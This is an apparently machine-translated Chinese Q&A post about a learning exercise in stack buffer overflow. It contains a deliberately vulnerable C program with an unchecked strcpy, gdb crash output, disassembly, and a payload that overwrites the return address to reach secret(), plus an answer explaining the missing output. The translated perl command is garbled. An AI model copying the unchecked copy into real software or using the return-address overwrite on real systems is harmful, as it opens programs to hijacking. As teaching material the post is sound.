我确信我做的是正确的,我已经学习了很多教程,但是这个例子对我不起作用。我的目标是调用"secret"
我有一个c++程序
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
void secret() {
printf( "You Won!");
}
int check(char *name) {
char buffer[16];
strcpy( buffer, name );
printf( "Your name is: %s \n", buffer);
srand(time(NULL));
return rand();
}
int main(int argc, char **argv) {
int randnum;
randnum = check(argv[1]);
if(randnum < 5) {
secret();
} else {
return( 0 );
}
return( 0 );
}
然后我将它输入gdb并运行它,使缓冲区溢出,直到得到:
(gdb) run AAAABBBBAAAABBBBAAAABBBBAAAACCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: ... AAAABBBBAAAABBBBAAAABBBBAAAACCCC
Your name is: AAAABBBBAAAABBBBAAAABBBBAAAACCCC
The buffer address is [0xffffd960].
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
CCCC是返回地址,所以在gdb中我运行'disas main'返回:
0x08048524 <+0>: lea 0x4(%esp),%ecx
0x08048528 <+4>: and $0xfffffff0,%esp
0x0804852b <+7>: pushl -0x4(%ecx)
0x0804852e <+10>: push %ebp
0x0804852f <+11>: mov %esp,%ebp
0x08048531 <+13>: push %ecx
0x08048532 <+14>: sub $0x14,%esp
0x08048535 <+17>: mov %ecx,%eax
0x08048537 <+19>: mov 0x4(%eax),%eax
0x0804853a <+22>: add $0x4,%eax
0x0804853d <+25>: mov (%eax),%eax
0x0804853f <+27>: sub $0xc,%esp
0x08048542 <+30>: push %eax
0x08048543 <+31>: call 0x80484c4 <check(char*)>
0x08048548 <+36>: add $0x10,%esp
0x0804854b <+39>: mov %eax,-0xc(%ebp)
0x0804854e <+42>: cmpl $0x4,-0xc(%ebp)
0x08048552 <+46>: jg 0x8048560 <main(int, char**)+60>
0x08048554 <+48>: call 0x80484ab <secret()>
0x08048559 <+53>: mov $0x0,%eax
0x0804855e <+58>: jmp 0x8048565 <main(int, char**)+65>
0x08048560 <+60>: mov $0x0,%eax
0x08048565 <+65>: mov -0x4(%ebp),%ecx
0x08048568 <+68>: leave
0x08048569 <+69>: lea -0x4(%ecx),%esp
0x0804856c <+72>: ret
所以我尝试输入:(gdb)运行$(perl-e '打印"A" x28."\xab\x84\x04\x08" x1")
我得到:
程序接收信号SIGSEGV,分段故障。??()中的0xffffdb00
为什么这个不起作用?有没有可能溢出条件使之变为真?
1条答案
按热度按时间piv4azn71#
编辑:我假设您正在学习安全性并试验缓冲区溢出。您可能要向其他人澄清,您并不是试图编写那样的程序。
你的做法似乎是正确的,我认为
secret
函数被调用了,但是当它返回时程序崩溃了。"You Won!"
文本没有被打印出来,因为它没有从某个缓冲区中刷新。你可以尝试在secret
函数上放置断点,你应该看到它被调用了。您还可以在字符串末尾添加新行\n
,以帮助在程序终止之前将其清除。如果您想让
secret
发生,然后正确地退出程序,则需要更复杂的输入数据。